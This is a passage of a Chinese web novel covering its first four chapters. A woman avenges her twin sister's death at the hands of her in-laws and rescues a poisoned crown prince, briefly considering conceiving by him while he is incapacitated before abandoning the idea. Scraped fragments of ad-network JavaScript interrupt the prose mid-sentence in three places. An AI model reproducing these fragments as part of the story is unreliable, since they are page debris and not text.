《靠山》 1. 第 1 章 天色阴沉,乌云压顶。 清心寺后排的一间小屋内,崔晚柠气息奄奄地躺在木床上,嘴角一抹鲜红的血渍。 崔朝雪跪在榻前泣不成声,她双手颤抖着帮姐姐拭去唇边的血渍:“姐姐,你莫急,药马上就熬好了,你会没事的,会没事的。” 崔晚柠脸色灰败、气若游丝,她有气无力地说道:“朝雪,没用了,没用了。”她拼尽全力抓住妹妹的手,“只是,只是我不甘心啊,不甘心。” 她呕出一口血,声音颤抖,“我一心一意对谢纲,孝顺长辈,操持家事。结果呢,他却违背当初绝不纳妾的承诺,要将外室女抬成平妻。成婚三年来,他处心积虑,每每让我喝下避子汤,致使我身体亏空,永不能有孕。” 崔晚柠似乎有说不尽的冤屈,她撑着一口气,非要把想说的说完。 “现在又借我无孕为借口,要我在同意娶平妻和被休弃之间二选一。所图不过是我那百十来抬的嫁妆。更可恨的是,那外室女卫婕楚竟恬不知耻地对我说,三年前她和谢纲便在一起了,娶我,只是方便照顾谢纲的病母罢了。” “谢纲母亲瘫痪在床,三年来,是我不辞劳苦、无微不至地贴身侍候,才使她逐渐恢复。他们都知道卫婕楚的存在,却独独瞒了我……” 她脸上的血泪交汇到一处,红得渗人,她目眦欲裂:“我不甘心啊,不甘心……” 她就那样睁着一双血红的眼睛,缓缓地倒回榻上,握住朝雪的手忽地一松,软软地垂到床侧。 崔朝雪一怔,手指颤抖着横到姐姐鼻端,感觉不到气息,她不死心,又去探姐姐的脉博。 “姐姐!” 她发出凄厉的呼喊,抱着姐姐的身体,恸哭不止! 原以为姐姐寻死觅活要嫁去的广安侯府会是个幸福之地,结果却成了埋葬姐姐的地方。 崔朝雪越想越难过,泪水似断了线的珠子,大颗大颗地往下滴。 姐姐死不瞑目。 伤害姐姐的谢家人,都该死! 当初谢纲娶姐姐时,曾信誓旦旦,此生不负姐姐,绝不纳妾。 姐姐感动至极。 到头来,不过是场笑话。 谢纲竟在成婚前便与那卫婕楚有了首尾,花着姐姐的嫁妆,心安理得地养着他的外室女,还狠心给姐姐喂不孕药。蒙在鼓里的姐姐端屎端尿地侍候婆母,尽心尽力三年,换来的却是他们要娶平妻。 他们谢家真是狼心狗肺,不足为人! 将姐姐埋葬在后山的一处。 崔朝雪一身白衣跪在姐姐坟前,面容憔悴但眼神坚定,“姐姐,我一定给你报仇雪恨!” 秦叔神色悲悯:“朝雪,晚柠已去,你得节哀。” 崔朝雪盯着鼓起的坟包,“秦叔,谢家早不休妻晚不休妻,为何现在要以不孕为借口休妻?无非是因为我父母意外亡故,看我崔家无人,故意欺侮姐姐。” “父母走了,姐姐也走了,你更得爱惜自己的身体才是。” 秦叔是崔老爷的随从,年过五十之后,崔老爷放他离开,让他做自己喜欢的事情。他本就擅医,各处游历之后,医术更趋精湛。闻听崔家出事,他匆匆赶回,虽不是亲人但胜似亲人。 崔朝雪面目冷凝,“秦叔,我心意已决。从此刻起,我不是朝雪,我是晚柠。” 秦叔一愣。 崔家是隆县大户,但双生女之事却少有人知。 当初崔夫人生产,有江湖人士称双生子不祥,最好分开养。 崔老爷不信,可又不敢不信。, 他不能拿两个孩子的性命作赌,只好狠下心将朝雪送到邻县一处,安排了贴心的奴仆和随从。他和崔夫人每月会去上两趟。只把崔晚柠养在身边。 是以外人只知崔家有崔晚柠,却不知崔家还有崔朝雪。 崔晚柠五岁时方知有个妹妹,便经常去往邻县与妹妹玩耍,两姐妹相处愉快。 父母看在眼里乐在心里。 只是朝雪单独养在外头,性子便自由一些,不受拘束。到了婚嫁年龄,丝毫不想嫁人。口口声声要么不嫁,要嫁必嫁自己喜欢的。 父母感觉从小亏欠她,便由着她的性子来。 直至他们去世,她也没找到合适的人选。 秦叔不太赞同:“那谢家就是个火坑,谢纲能从开始就欺骗晚柠,便说明他非良善之辈。谢老夫人更是,晚柠在床前不辞辛劳地侍候三年,她不仅不感激,还和儿子一起欺瞒,可恶可悲。晚柠已经去了,我们可以另想办法,不非得你以身涉险。” 他担心谢家害了晚柠,再害了朝雪。 “有姐姐的丫头知晴帮我,谢纲又不知我的存在,且我和姐姐长相如出一辙,肯定没问题。” 知晴跪下:“小姐,您和大小姐可谓是一模一样,谢大人和谢老夫人肯定辨识不出来。” 崔朝雪问:“姐姐这次出来,是要待多久?” “谢大人和谢老夫人临行前把大小姐叫到前厅,商议娶平妻之事,大小姐不同意,谢大人便说,若是不行,便会以三年无孕行休妻之事,到时候大小姐一分嫁妆也甭想带走。大小姐生气,借口要上庙里祈福便出来了。路上遇到那外室女卫婕楚,她嚣张至极,说大小姐永不可能怀孕,要么乖乖配合,要么只有做下堂妻的份儿。” “大小姐来了寺庙之后找大师诊脉,正如那外室女所说,因长期服用烈性的不孕药,此生恐难有孕。大小姐气急攻心,便,便不行了。” 说到最后,知晴眼泪哗哗直流,“谢家太没良心了,府上多年亏空,一直靠大小姐的嫁妆维持着。老夫人瘫痪在床,大小姐端屎端尿地侍候,不惜花重金买药给其补身子,老夫人才能慢慢恢复。他们不知感恩,还,还欺负大小姐,大小姐太委屈了。” 秦叔气得牙根紧咬:“实在是可恨!” 崔朝雪眼睛里一片薄凉,“秦叔,这样的渣男贱女,不亲手整治一番实在是不甘心。” 秦叔知道无法阻止,只好叮嘱:“你,你一定要小心。” 崔朝雪没有马上回侯府,在庙里住了七八日之后,她让知晴派人回侯府知会一声,理由是谢夫人要在庙里诚心求子,过些日子再归。 那谢纲一门心思全在那卫婕楚身上,根本不在意妻子的死活,让人传话,“夫人想在庙里待多久都行。” 崔朝雪听罢,气愤不已,“听听,这是为人夫该说的话吗?秦叔,我恨不能现在就回去撕了他。” “跟恶人斗不急在一时,咱们先想好万全之策再行事。” 崔朝雪心气不顺,抬步往外走:“秦叔,我到外面溜达一圈。” 秦叔瞧眼外头黑漆漆的天儿:“这么晚了,你一个弱女子……” 他实在是不放心。 “有竹雪和知晴,不怕的。” 竹雪是她的贴身丫头,加上知晴,两个人陪着她,自然不怕。 秦叔,“随从凡七、凡九住在半山腰一处隐密的木屋里,我这就去喊他俩。” 凡七、凡九武功高强,哪怕是行军打仗的将军,也不一定打得过他俩。 崔朝雪由着秦叔去了,竹雪提着灯笼,主仆三人深一脚浅一脚地走进密林当中。 山路崎岖,偏僻难行。 崔朝雪像是与自己为难,哪儿不好走偏往哪里去。 似乎只有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样,她自己的心里才会好受些。 凡七、凡九顺着光亮找过来,不远不近地跟着。 竹雪和知晴累得气喘吁吁,越走落的距离越远。 竹雪提着灯笼,急道:“小姐,您慢点儿。” 她们都快赶不上了。 崔朝雪恍若未闻,还是继续往前走。 猝不及防,脚下一个趔趄,她人不受控地向前扑去。 竹雪眼疾手快,扔了灯笼去扶。 可惜还是晚了一步。 崔朝雪姿势不雅地趴在那里,竹雪两只手伸着,刚刚触到她的胳膊。 晚归晚,人还是要扶起来的。 竹雪使力,“小姐慢点儿。” 情况突然,知晴和凡七、凡九迅速围拢过来。 灯笼则歪在一边的草丛里,微弱的光亮照耀着众人脸上各异的表情。 竹雪、知晴慌张,凡七、凡九担忧。 崔朝雪表情却很平静。 她右手往下摁了摁,眉头微蹙,“什么东西?” 凡七眼神极速扫向崔朝雪身下,立时发现了不对劲,“小姐,好像是个人。” 崔朝雪嗖地弹起。 她就觉得倒下后触感不太对头。 怎么说呢? 好像是硬的,可硬中又带着一丝绵软…… 凡九已经捡拾起一旁的灯笼高举着靠过来。 在看清地面真躺着一人时,几人表情都有些懵滞。 竹雪捂住嘴,“真,真是人。” 确切地说,是一名浑身是血的黑衣男子,脸朝下趴在那里。 崔朝雪一点儿不怕,慢慢绕到男子头侧,从容不迫地吩咐:“凡七,把他翻过来。” 她倒要看看是什么人。 竹雪吓得小脸泛白,“小姐,是不是有点儿危险?” 深更半夜的,浑身是血的男子趴在这里,不知是死是活。 定是周围发生了他们所不知道的险事。 他们不应该赶紧跑吗? 还待在这里凑什么热闹? 知晴瞧向自家小姐的眼神也有点儿惶恐。 快跑吧?! 崔朝雪眼神直直地盯着地面上的男子。 凡七听了她的话,蹲下身子,手放到男子肩头,略一使力。 凡九的灯笼及时地凑近,光亮恰恰好地照到男子的脸上。 挺鼻薄唇,鬓若刀裁。 一双眼睛紧紧闭着。 崔朝雪静静盯着这张脸看了一会儿。 竹雪和知晴都纳闷,自家小姐是不是魔怔了,盯着个血人看什么? 果然人太伤心了就容易做出异于平常的举动。 凡七手指横到男子鼻端,接着一路往下轻轻碰触男人身体,凡九的灯笼也一路跟随。 稍事探查后,凡七起身,“小姐,此人胳膊断了,其余只是擦伤。人没死,气息有些微弱。” 竹雪吸了口气,“这深山密林里,怎么会……” 凡七眼神扫向四周,凡九则侧着耳朵听四周动静。 除了风声,似乎并无其他异常。 崔朝雪盯着男人紧闭的眉眼,沉默。 凡九想了想,试探地建议:“京城纷乱,止不定这位公子得罪了哪家达官贵人,被人侍机暗算。咱们不明情况,是不是……” 不要随意插手为好? 凡七听罢点了点头,非常认同凡九的观点。 他们初到京城,人生地不熟的,若是贸然插手,恐生变故。 生死由命,把一切交给天意。 崔朝雪思忖良久,慢条斯理地吩咐:“抬回去。” 2. 第 2 章 凡七一愣。 竹雪迟疑地问道:“小姐,此人来路不明……” 不知道该救还是不该救啊。 崔朝雪却道:“抬到你们住的木屋吧。” 庙里是祈福的地方,这名浑身血污的男子不宜带去。 凡七听命蹲下身子,“我背着便可。” 凡九助他,将人扶到他背上。 凡七剑步如飞,如履平地般赶路。 目睹此状的崔朝雪露出赞许的眼神。 她相中的随从,就没有差的。 凡七脚程很快,等崔朝雪赶回木屋的时候,凡七已经将人背到了其中一间屋子,屋子简陋,并无床榻,只有一堆茅草,所幸茅草上有一床破褥子。 秦叔闻声也赶了过来,眼中神色很是惊异,“这,这人是打哪儿弄来的?” 深更半夜去溜一圈,怎么还溜回了一个血人? 崔朝雪示意:“秦叔先帮他诊下脉。” 秦叔闻言蹲到那人旁边,手指搭到那人脉处,凝神诊了一会儿。 他表情微变,改为去翻男子的眼皮,翻完之后,直起身来。 看向崔朝雪的表情有些凝重。 崔朝雪:“秦叔,此人如何了?” 秦叔摇头:“怕是凶多吉少。” 崔朝雪表情稍有些惊异,“凡七说他胳膊断了,其他都是擦伤,难道不是?” “凡七没有说错,”秦叔语重心长,“只是此人中了毒,浑身绵软无力。胳膊重伤可能是中毒之后导致的。” “浑身绵软无力的毒,是什么毒?可解吗?” “我此前游历之时,曾听江湖人提起过,此种毒会使人浑身绵软无力,且中毒之后不会当场发作,一般是三日之后才会有所觉。从浑身无力、视线模糊、疼痛难忍直至死亡,大概是三日左右。所以,有人也管此毒叫六日消。因发作缓慢,等中毒之人死去之后,旁人很难查到下毒之人。” 崔朝雪喃喃重复:“六日消?” 秦叔点头:“此人体内之毒已经发作,若是不进行救治,顶多还能活上二日。” 崔朝雪拧眉:“找不到解药?” “这六日消,毒性潜伏期三天,等到发作之时,毒性已经遍布全身,”秦叔顿了下,“法子倒不是没有。” “有法子?” “有倒是有,但一般做不到。六日消是有解药的,解药中含有六种成分,却都是极其难寻的。” “九死还魂草、脐衣……” 秦叔依次报出六种药草的名字,崔朝雪越听越心惊,“这,这可都是险峻之地才能寻到的药草,只一味便难于上青天,更何况是六味?” 还真是无解。 秦叔看向崔朝雪,“你认识此人?” 崔朝雪摇头:“不认识。” “不认识,咱们在这里费那些心神干什么?” 一个不相关之人,死就死吧。 崔朝雪回头,再次瞧了眼男子那张英气逼人的脸,表情复杂。 秦叔,“此人中毒已过了三日,视线不清,浑身无力,现在是因为胳膊伤痛昏迷。很快便会出现浑身疼痛难忍的症状,常人难以忍受。此人昏着比醒着好。醒着的话,那罪恐怕是没法受。” 崔朝雪叹气:“也是个可怜人。” “这世上可怜的人多了去了,咱们……” 秦叔不想多管闲事。 崔朝雪想了会儿,“遇到也是缘分,”她抬头,“秦叔,若银两不是问题,可以花钱买到几味?” 她想救他! 秦叔表情纠结,“本来他是路人,我就不打算说了。可既然小姐如此上心,”他似是下了重要决定,“罢,罢,罢,我便试上一试。” 崔朝雪挑眉,“秦叔能设法找到解药?” 秦叔摇头:“不能。只是我游历期间结交过一些江湖人士,他们见多识广,止不定手上会有某味解药。只是他们都是居所不定,眼下只有两天期限,结果如何,不好说。” 秦叔游历的这几年,走到哪里歇在哪里,不喜欢拘在某处。他找崔家好找,可崔家要找他,却是难上加难。 这次是他主动回来。 否则见他一面都难。 秦叔如此,他认识的那些江湖人士更是如此。 崔朝雪表情淡淡的,“看来一切只能听天由命。” 人之生死,冥冥之中大概自有定数。 秦叔稍事迟疑:“咱们借一步说话。” 崔朝雪跟着秦叔来到院子里。 院子当中高高悬着一盏灯笼,灯笼被风吹得东摇西摆,院内的光线便随之跳跃来跳跃去。 崔朝雪盯着斑驳的光影,陷入了沉思。 秦叔沉默地站了会儿,才试探地问:“你是不是,是不是想带着有孕的身子回谢家?” 他问完此话,崔朝雪眸色淡淡地看过来。 她没有想到的是,秦叔一下便猜中了她的心思。 “秦叔!” 秦叔老泪纵横,“朝雪,你想好了吗?非要牺牲你自己去报仇吗?” “秦叔,”她望向树上那些随风摇摆不停的树叶,“失去父母庇护的我,空有一腔怒气,却无太多助力,唯一能拿得出手的,便是银两。可光有银两有什么用?得有勇有谋才能成事。谢家要以无孕休妻,我得先有孕才行。再者,我现在是处子之身,万一被谢府发现,岂不是竹篮打水一场空?” 她的语气很是平静,“若是有孕,我便有了底气,有了胜算。”她声音哽咽,“原本,我便跟父母说过,此生若是嫁,一定嫁自己喜欢之人。现在只怕是没机会了。” 她抬手拭泪,“里头躺着的男子,长相尚可,不若便试上一试。” 秦叔内心悲痛,可他了解朝雪的秉性。 她不像其他姑娘,毛毛躁躁,一遇事情哭哭啼啼,闹将个不停。 她沉稳、冷静、淡定。 遇到拿不定主意的事情,她喜欢安安静静地考虑一会儿。 考虑好了之后,她便会果断去做。 毫不拖泥带水。 若是什么事情进行到一半,她察觉错了,她不会硬着头皮往前撞,而是在发现问题之后,及时抽身或回头。 明智、聪慧,有主见。 秦叔只觉五脏六腑被什么揪着,痛得紧。 他含泪道:“唯恐出错,我以后只喊你小姐,免得把朝雪和晚柠给叫混了。” 崔朝雪点头:“好。” “那人中毒后,有弊也有利。弊端是他身体绵软无力。但也有方便的地方,他浑身无力,伤害不到小姐。他视线模糊,看不清小姐。此事之后,不担心会有任何隐忧。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 崔朝雪愣住:“秦叔是指他中毒之后,还能行男女之事?” 秦叔点头:“能。” 崔朝雪陷入沉默。 男女之事,她只是听说,其实也不算懂。 现在身心处于悲伤之中…… 秦叔不忍,他偏头,“小姐先在旁边屋子等一等,我和凡七、凡九帮此人换身衣裳,再帮其诊疗。” 男子身上血渍多,血腥味浓重,的确有些不适合。 崔朝雪和两个丫头回了旁边的屋子。 在屋内待了约有半个时辰,就听凡九来报:“小姐,一切妥当,您可以过去了。” 再走进茅草屋,屋内竟变了样。 几人也不知打哪儿搬来了一张简易的木床,男子被换了一身干净的白色衣裳,此刻紧阖双目躺在上面。受伤的右胳膊被复了位,用两块木板绑缚着。许是失血过多的缘故,脸色苍白如纸,配上白色的衣衫,颇有羸弱之感。 崔朝雪坐到榻侧,细细打量。 凡九一躬身子,解释道:“此人胳膊断了,秦叔帮其复位,两块木板是固定作用,以助恢复。” 略懂医理的崔朝雪岂能不知? 她认同地点了下头:“秦叔行事,最是让人放心。” “秦叔给男子服了两粒药丸,说是可以暂缓毒性的发作,一刻钟后人便会醒。”凡九道,“秦叔说,小姐有事可以先问询一二。” 崔朝雪摆了摆手,“你们都下去吧。” 木门缓缓关上。 跳跃的烛火之下,屋内只剩下她和男子。 她静静盯着男人的脸。 要想俏一身皂。 女人如此,男人亦如此。 一身素白的衣裳衬得男人干净而俊美。 过了一会儿,男子紧闭的双眸动了动,缓缓睁开。 一双深瞳黑漆漆的。 与崔朝雪想象中一样。 剑眉星眸,英气逼人。 男人视线模糊,隐约可以瞧见前方坐着一名女子,但看不清女子的样貌。 他尝试着动了动胳膊。 却发觉四肢百骸似是脱离了自己,完全不受控制。 浑身绵软得不成样子。 尝试几次无果,他发出重重的喘息。 眼睛无神地望向崔朝雪方向,哑声问道:“你是谁?” 因了中毒的关系,他的声音听起来没什么力度。 崔朝雪轻咳一声,刻意压低声音说道:“我是你的救命恩人。你是何人,为何被伤成这样?” 男子闭了下眼,却并不回答问题。 崔朝雪也不生气。 不管男子回不回答,她其实并没有多么在意他的身份。 他是市井流民也罢,是官宦子弟也罢。 他们之间的交集顶多一两天,从此山水一程再不相逢。 她看着男人的脸,轻声问道:“你成婚了吗?” 男子:“没有。” “可曾定亲?” 男子声音没什么起伏,“也没有。” “家里可有妾室?” 这次,男子顿了下,慢慢答道:“没有。” “可有心仪的女子?” 问得越来越细,男子从容回答:“没有。” 无妻无妾无心仪之人。 刚刚好。 3. 第 3 章 屋内陷入安静之中。 虽已做了决定,可崔朝雪对此事还是有些犹疑的。 秦叔那边尚无消息,男子能否有活命的机会还不得而知。 她要怎么办? 难不成真豁出去行事? 她不说话,胥宸也静默不言。 他在考虑自己现下的处境。 为何会如此? 瞧自己身上的样子,肯定是中了毒,可毒是何时中的? 下毒之人又是谁? 停了好一会儿,崔朝雪再度开口:“你现在胳膊断了,身上腿上都有擦伤。且你中了六日消。” “六日消?” 他能有此一问,说明对此毒并不了解。 “你不知道自己中了毒?”崔朝雪语气中透着惋惜,“不知道你得罪了什么人,竟然给你下此种剧烈的毒。六日消,听其名字便知,六日内,人便没命了。前三日是潜伏期,只会有轻微不适,很难让人觉察。第四日开始,身体无力、视线模糊,之后痛意逐渐遍布全身,直至死亡。听人说,死时心如刀绞般的疼,很是痛苦。” “你现在只是服下了两粒普通的药丸,可缓解你身上的痛意,但后续会如何,不得而知。” 她看向他的眼神有些可怜,如此俊美的男子,竟不得善终。 胥宸听她如是说,脸色并无变化,恍若“六日消”并不是什么可怕的毒药。 他道:“如此说来,我还有不到两日的寿命?” “是的。” 胥宸薄唇微抿,冷白的脸上看不出什么表情。 崔朝雪对于他的表现有几分惊讶。 世人皆怕死,鲜少有人能在面对生死时还保持如此淡定的模样。 她在心里断言,眼前之人一定是经历过大风大浪。 是以生死之事都引不起他的情绪波澜。 她有些同情他的遭遇,遂道:“你可有信得过的亲人或者好友?说个地址,我差人将你悄悄送去。” 人之将死,总要见见亲人好友,好安排一下身后之事。 她似乎忘记了自己此行的目的。 完全站在胥宸的角度考虑。 她说完,静静盯着胥宸的脸,试图从他脸上猜度出他此刻的心情。 胥宸却是静默不言。 他头一次听说六日消这种毒药,按照崔朝雪所说,他应是在三天之前中的毒。三天之前他都做了些什么? 仔细回想,那日,他清晨自东宫出来,便去了父皇的御书房,跟父皇商量与邻国对战之事,从早上至晚间,他寸步未离,膳食都是和父皇一起食用。 直至凌晨才离开。 接下来几日,他去了兵营,和几位将军商讨战事。 今日是母亲生辰,母亲逝去多年,每年的今日他都会独自一人到山顶上静立一会儿。他只记得身体忽然不适,有人拔刀相向,他勉力抵抗,身上还是中了几刀,最终无奈跳崖。 醒来便这样了。 现在回想,若是中毒,只能是在御书房。 想到此,他虽面色不显,但内心却是大骇。 难道害他之人,会是,父皇?! 父皇与自己商讨战事时,认真仔细,语态温和,怎么会? 可除此之外,谁能在御书房的膳食中动手脚? 自己身体如此,那父皇呢? 一切纷乱复杂,似一团乱麻,他无从理起。 唯有以静制动。 胥宸一直不言,落到崔朝雪的眼中,便更觉得他可怜。 将死之际,却连个信任的人也说不出来。 这得活成啥了? 她原先的念头立马消了。 这都是走到鬼门关的人了,她若还要与他行那事,岂不是把他又往鬼门关送了送? 不救他不说,还让人死得更快了些。 她不愿做这种丧尽天良之事。 想到此,她站起身,“如此你便歇着吧。若是有何需要,你唤一声。” 胥宸还是沉默。 崔朝雪摇摇头,转身走了出去。 竹雪和知晴还候在院中,见状,悄声问:“小姐……” 崔朝雪食指竖到唇间,轻轻“嘘”了声,两个丫头瞧眼屋子里头,明白了。 秦叔已经叮嘱过他们。 不能叫男子听到他们的声音。 回到旁边的屋子,崔朝雪才轻声道:“离得近,你们不必守在门口,只是仔细听着旁边的动静便可。他若是有什么需要,我去就行。” 男子看起来像是个明察秋毫的。 虽然视物不清,也还是要谨慎着些。 只她一人在他面前走动便可。 少露马脚,以绝后患。 屋子简陋,床板硬得硌人,崔朝雪睡得不是很踏实,天刚蒙蒙亮人便醒了。 醒后,她低声问:“他那边有动静吗?” 竹雪摇头:“一点儿动静也无。” “一点儿动静也无?”崔朝雪有些奇怪,“照理,他身上毒性发作,应是疼痛难忍的时候,他竟不叫疼?” 知晴道:“方才我和凡九贴到门边听了听,确实没有声音。” 竹雪瞪大眼睛,“不会,不会是死了吧?” 崔朝雪愣了下。 虽说是六日消,可他身上有其他伤,保不齐…… 她扔了手中梳子,“我去瞧瞧。” 那么好看的男子,说没就没了? 她提着裙摆快行几步,院子当中的凡九看到她,面上一惊,但也只是一惊,没有发出任何声音。 崔朝雪推开木门,眼神直直扫向床榻。 男人躺姿没变,还如昨晚那般躺着。 脸色苍白如纸,薄唇抿得紧紧的,一动不动。 跟死人一般无二。 崔朝雪惊了下,小心翼翼伸出右手食指,轻轻横到男子鼻端。 轻轻浅浅的呼吸拂过。 她长长地松了口气。 耳畔响起男子低哑的声音。 “我还没死。” 崔朝雪说不上此刻是什么样的心情,想到他会死的刹那,只觉心惊肉跳、惶恐不安的,当感受到他羸弱的气息时,心中似是有块巨石重重落地。 说不出的轻松。 “你倒是挺沉稳的。”崔朝雪说话时依旧压着声音,不管未来如何,该注意的还是要注意。 她坐到榻侧,“你现在感觉如何?身上疼吗?比之昨晚,是不是更难受了?” 胥宸的声音暗哑无力,“还,好。” 听起来一点儿也不好。 崔朝雪束手无策,想了想,起身走了出去,在凡九耳侧悄悄低语几句。 凡九点头,端了一碗水、一碗粥,拿着两粒药丸走了进去。 他一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不吭,喂男子喝了水,男子浑身绵软无力,只能任人摆布。 但水到唇边,他知道咽。 喝完水,凡九喂了他一碗粥,最后送服两粒药丸。 崔朝雪走了进来,等胥宸咽下药粒,出声问道:“可要解手?” 虽浑身无力,但是否要解手,还是能感觉出来的。 胥宸默了一瞬:“要。” 凡九从善入流地背起他出了院门,解完手,又从从容容地将人给背了回来。 人放到榻上,凡九扫眼崔朝雪,后者冲他摆了摆手。 他悄无声息地退了出去。 崔朝雪坐到榻侧,眼神扫向胥宸身体。 感觉到一丝不对劲。 他的身体似乎在动。 不,也不算是动,像是在痉挛。 明明躺着,可胳膊、腿、腹部,似被什么给敲打了一般。 不停地发着颤。 她猛地摁到他的手上,惊问:“你怎么了?为何发颤?” 胥宸深吸一口气,嘴唇死死咬着,却是不言。 崔朝雪震惊,难以置信地问道:“你现在毒性发作,浑身疼痛难忍?” 胥宸齿间艰难溢出了一个字:“嗯。” 身体颤成这样,可见痛意有多么厉害。 可他竟然能隐忍到不发一言。 崔朝雪向胥宸投去佩服的目光。 这男子,果真不凡。 铮铮铁骨,是个天下难得一寻的好男儿。 她思虑一瞬,转身走出院子。 直至院门外,她站住,回身问凡九:“为何服下药丸后他还是疼痛难忍?” 凡九:“六日消的毒性太大,寻常药物起不了作用。” 崔朝雪料到他今日会疼痛难忍,特意让凡九找了两粒止痛药丸喂其服下,没想到不起任何作用。 她蹙眉:“秦叔还没有消息?” 凡九道:“没有。” “可知他往哪个方向去了?” “小姐放心,凡七找了两匹马,快马加鞭,秦叔一定会早些回来。” 崔朝雪双手交握,表情有些忧急,“没想到‘六日消’如此厉害,毒性发作起来这般凶猛,希望秦叔能快快找到解药才好。” 她顿住步子,“凡九,你带上所有人,去找秦叔,听候他的吩咐。” 父母虽离世,但崔家随从还在。此次来京城,她一共带了二十六名随从,为了不惹人眼,分批行动。日常只凡七和凡九跟随,其余人则分落在各处,有事情才会出现。 崔朝雪急到要召出所有人。 凡九晓悟,冲崔朝雪一拱手,“小姐放心,我马上出发。” 二十几人离得都不远,召集很是迅速。 凡九将人聚齐后,急速出发。 崔朝雪则在院内不停地溜达,间或到屋内瞅一眼。 胥宸疼意泛滥,身子蜷缩着,嘴唇被咬出血,脸上身上冷汗直冒。 崔朝雪于心不忍,差竹雪端来温水,她亲自上手,为其擦拭。 这个时候,也没管什么大妨不大妨的。 从头擦到脚,衣服从里到外换了一遍。 看到他疼到发颤却依然隐忍的样子,她很是怜惜。 得是什么样的人,经历过什么样的大风大浪才会如此? 她侧身上榻,双臂往前一伸,轻轻将人揽进怀里。 4. 第 4 章 崔朝雪莫名想哭。 明明疼痛难忍的是他,可她却忍不住落了泪。 “只要咬紧牙关,任何事情都会过去的。” “父亲母亲离世的时候,我以为天塌了,可是我咬紧牙关,好好地活在这个世上。姐姐死在我面前的时候,我以为我也会死,可是我咬紧牙关,依旧活得好好的。” “咬紧牙关,会没事的。” 她是说给他听,也是说给自己听。 眼泪越流越多,身子跟着一颤一颤的。 分不清是他在颤,还是她在颤。 她是心里痛,他是身体痛。 两个同病相怜的人,心无杂念地依偎在一起。 给男子擦拭身体时,她在他身上看到了大大小小的伤痕,有些伤痕是新的,有些则是经年旧伤,每道伤都见证着他的过往,想来他是一路跌跌撞撞摸爬滚打走到今天。 若是无能小辈,想必对手犯不着用上“六日消”这种剧性毒药。 只有针对强大的对手,才需要费尽心思地使出这种招数。 可这样的男子在将死之际,却一言不发…… 她将他抱得更紧了些。 漫天的痛意席卷了胥宸周身,他意识混沌,一会儿觉得是父皇要置自己于死地,一会儿又觉得不可能。父皇疼他惜他,纵使自己亲生母亲是获罪而死,一样册立自己为太子,看中的是他的才华与谋略。 若不是父皇又能是谁要置自己于死地? 视自己如亲生的皇后?皇后无子无女,依靠自己坐稳后位,怎么可能? 是皇子傍身的荣贵妃?整个皇宫除了自己之外,只有七岁的胥轩是皇子。自己若是死了,胥轩将成为唯一能继承大统的皇子。 …… 思绪纷乱之间,他陷入到一个柔软的怀抱当中。 所有的纷乱刹时停止。 犹如乌云密布的天空突然放晴了一般。 他闻到了一股淡淡的栀子花香的味道。 崔朝雪痛快淋漓地哭了一场。 亲人离世,她孤单无助。她当秦叔是家人,可久不在一起相处,虽感觉是亲人,但不好意思扑到他怀里寻求慰藉。 此时借着胥宸的怀抱汲取温暖。 多多少少慰藉了自己孤单无助的心。 她感觉到怀中男子的身体相对安稳了些。 索性便一直抱着他。 “我已差人去寻解药,你忍忍,很快会好的。” 她的声音柔得似天上的云朵,轻轻软软地飘进胥宸的耳畔。 夜幕降临,安静的院子终于有了动静。 有人轻轻敲了敲房门。 接着传来几声男子的咳嗽声。 崔朝雪顿住。 白日里竹雪和知晴有事,只是轻声敲门,在听到她允许的声音之后才会进屋。方才不光有敲门声还有男子的咳嗽声,想必是秦叔回来了。 她小心将胥宸放回榻上,自己则匆忙下榻走了出去。 院子当中果然站着风尘仆仆的秦叔和凡七。 秦叔指指外头,崔朝雪跟着走了出去。 两人站在院门口,秦叔道:“事情很顺利,六味药草已全部找齐,方才给了竹雪,正在熬制,半个时辰便可熬好。” 崔朝雪,“秦叔辛苦了。” “多亏小姐派人去,我写了字条,让他们分头找人。”秦叔擦擦额头上的汗,“说到底,还是那人命大福大造化大。” 秦叔道:“服下解药后,痛意会很快得到缓解,身上的力气尚需慢慢恢复。一日后可以抬手,三日后就可以下床走动、视物清晰。完全恢复,至少得十天左右。” 毒性在体内游走了几天,要想全部解除,自然不是那么容易。 “秦叔辛苦了,知晴给您备了饭,快去吃点儿吧。” 这几天的奔波,秦叔的确是累了,他没有推辞,去了旁边的屋子。 凡七过来,把这一天寻药的艰辛过程详细说了说。 “秦叔结识的江湖人士一般不住客栈,我和秦叔便去找他们常去的寺庙或者茅屋,后来,您派的人来了之后,我们拿着秦叔的字条分头行动。一味药在肖山脚下的张大师那里寻到,他不要银钱,后来秦叔让人送去了两百两。一味药在城中的北疆商户那里花一万两买到的,一味药……统共花了五万八千六百两,凑齐了这六味药。” 他们出发前崔朝雪便放话,只要能买到解药,银两不是问题。 崔家最不缺的便是钱财。 听到花了近六万两,崔朝雪眼睛都不带眨的,“这事办得极好。” 半个时辰后,解药熬好,崔朝雪亲自端着进了屋。 床榻上的胥宸冷汗涔涔,已被疼痛折磨得不成人形。 崔朝雪先将汤药放到一边,两只手轻轻摁到胥宸肩头,“能听清我说话吗?” 太疼了,加之不能视物,只怕是意识混沌,分不清是真是梦。 胥宸牙关紧咬,轻轻“嗯”了声。 崔朝雪转而摸了摸他的脸颊,湿湿的,全是汗。 “恭喜你,找到解药了。”她扶起他的身体,将药碗凑近他的嘴旁,“喝吧。” 她小心将碗倾斜,眼睛则紧紧盯着。 生怕将好不容易得来的汤药给洒了。 胥宸听话地张开嘴巴,随着她的倾倒,他咕咚咕咚地开咽。 一碗汤药,一滴不剩地喝完。 崔朝雪长长舒了口气,将药碗放到一旁。 她扶着他的肩膀,轻轻将人放回榻上。 她站在榻前,盯着床上恍似从水中刚捞出来的胥宸,语带感慨地说了句:“你得救了。” 刚喝下汤药的胥宸没有吱声。 崔朝雪微微摇了下头。 他怕是难以相信吧。 也对,一个临死之前都不知道找谁的人,又怎么可能轻易地相信陌生人呢? 她走出去,小声吩咐凡九:“帮他换下被褥、清洗下身子,再换身干净的衣裳。” 凡九听命去忙。 半个时辰后,凡九来报。 “小姐,已经清理完毕,按照您的吩咐,喂了他水和肉粥。” 